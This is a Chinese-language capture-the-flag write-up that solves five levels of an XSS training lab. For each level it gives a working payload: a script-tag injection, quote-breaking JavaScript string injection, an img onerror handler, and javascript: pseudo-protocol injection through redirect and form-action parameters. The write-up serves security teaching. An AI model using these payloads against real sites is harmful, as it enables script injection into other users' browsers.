level1
没有过滤,只需要注意传入时进行URL编码即可
<script>alert(1919810)</script>
payload:username=%3Cscript%3Ealert(1919810)%3C%2Fscript%3E
level2
注意到网页下方有以下script
if(location.search == ""){
location.search = "?username=xss"
}
var username = '1919810';
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
其中1919810为用户通过GET方式传入的数据。
前面的if用于帮你加上username,作用不大,主要是传入时的escape()函数,对其进行了转义。关于此函数的介绍:JavaScript escape() 函数 | 菜鸟教程 (runoob.com)
我们可以通过两种方式绕过这里的escape,一种是在后面的过滤器中做文章,另一种是直接在js中写进我们的payload。
方法一:
JS变异小技巧:使用JavaScript全局变量绕过XSS过滤器 - 知乎 (zhihu.com)
我不会,长大后再学习
方法二:
对于var username = '1919810';
,我们可以通过修改传入的数据构造形如var username = '114514';alert(1919810);//';
的payload
首先使用单引号闭合前面定义的变量,加上分号让其语句结束。之后接上我们的恶意代码alert(),同时也要加上分号。最后还有剩下的一个单引号和分号,直接使用注释注释掉即可
payload:username=114514';alert(1919810);//
level3
方法一
继续用上一个方法二的payload,发现它不讲武德,把单引号给转义了(添加了一个\)
只需要再加一个单引号就可以了
114514'';alert(1919810);//
这事为什么呢?我们可以试一下对这里面的单引号转义
114514\'';alert(1919810);//
可以看到,只转义了一个单引号,这样我们的username为114514',剩下的内容和level2就相同了
有人要问了:ん?这个转义不应该是\'\'
吗?
这边建议自己试下访问/level3?username=%27%27
看看源码,这里提供一个简化版的demo(转义怎么转的鬼知道)
<html><head><script type="text/javascript" src="main.js"></script></head><body>
<div id="ccc"></div>
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = '<?php echo $_GET["username"]; ?>';
document.getElementById('ccc').innerHTML= "Welcome " + username;
</script>
</body></html>
payload:username=114514'';alert(1919810);//
方法二
CTFHub_N1Book-XSS闯关(XSS) - 码农教程 (manongjc.com)
这里是DOM用户输入将被js动态的写入html中,说白了就是把html代码写进去了。随便弄个能执行的就可以辣。
原理是利用HTML5的全局事件属性onerror,当错误发生时运行脚本。
因为全局属性嘛,随便拉过来一个能出错的标签就行。
img(video什么之类的都是...)会在找不到路径的时候报错,随便填一个地址再加上恶意代码就可以了
payload:xss<img src=monianhello.toooooooop/nosuchvideo.mp5 onerror=alert(114514) />
level4:
这个有点长,咱看前面就好
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
首先是getQueryVariable('jumpUrl')
这个方法,这个方法是js中用于获取get传参,可以理解为php中的$_GET["jumpUrl"];
这里告诉我们jumpUrl
是可控的,而在后面代码将它运行了。
我们只需要创建一个可以运行js的链接就能实现XSS漏洞。使用javascript:伪协议即可
payload:jumpUrl=javascript:alert()
level5:
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
表单漏洞action=javascript:alert(114514)&autosubmit=True
Comments | NOTHING